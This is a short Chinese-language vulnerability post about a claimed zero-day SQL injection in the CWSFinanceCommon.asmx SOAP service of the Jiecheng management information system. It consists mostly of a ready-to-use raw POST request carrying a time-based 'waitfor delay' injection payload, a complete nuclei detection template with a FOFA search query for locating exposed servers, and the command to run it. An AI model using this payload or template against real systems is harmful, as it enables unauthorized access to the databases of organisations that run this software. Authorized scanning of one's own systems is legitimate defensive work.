【0day】捷诚管理信息系统CWSFinanceCommon SQL注入漏洞(附nuclei poc)

POST /EnjoyRMIS_WS/WS/APS/CWSFinanceCommon.asmx HTTP/1.1Host: 192.168.86.128:9001User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36Connection: closeContent-Length: 369Accept: */*Accept-Language: enContent-Type: text/xml; charset=utf-8Accept-Encoding: gzip<?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">  <soap:Body>    <GetOSpById xmlns="http://tempuri.org/">      <sId>1';waitfor delay '0:0:5'--+</sId>    </GetOSpById>  </soap:Body></soap:Envelope>

id: jiecheng-CWSFinanceCommon-sqliinfo:  name: 捷诚管理信息系统 CWSFinanceCommon.asmx SQL注入漏洞  author: fgz  severity: high  description: '捷诚管理信息系统是一款功能全面，可以支持自营、联营到外柜租赁的管理，其自身带工作流管理工具，能够帮助企业有效的开展内部审批工作。该系统CWSFinanceCommon.asmx 存在sql注入漏洞。黑客可以通过该漏洞获取数据库敏感信息，甚至远控服务器。'  tags: 2023,jiecheng,sqli  metadata:    max-request: 3    fofa-query: body="/Scripts/EnjoyMsg.js"    verified: truehttp:  - method: POST    path:      - "{{BaseURL}}/EnjoyRMIS_WS/WS/APS/CWSFinanceCommon.asmx"    headers:      Content-Type: text/xml; charset=utf-8    body: "<?xml version="1.0" encoding="utf-8"?>n<soap:Envelope xmlns:xsi="      http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"       xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">n  <soap:Body>n          <GetOSpById xmlns="http://tempuri.org/">n      <sId>1';waitfor delay       '0:0:5'--+</sId>n    </GetOSpById>n  </soap:Body>n</soap:Envelope>"    matchers:      - type: dsl        dsl:          - "status_code == 200 && duration>=5 && duration<=6"

nuclei.exe -t mypoc/其他/jiecheng-CWSFinanceCommon-sqli.yaml -u http://192.168.86.128:9001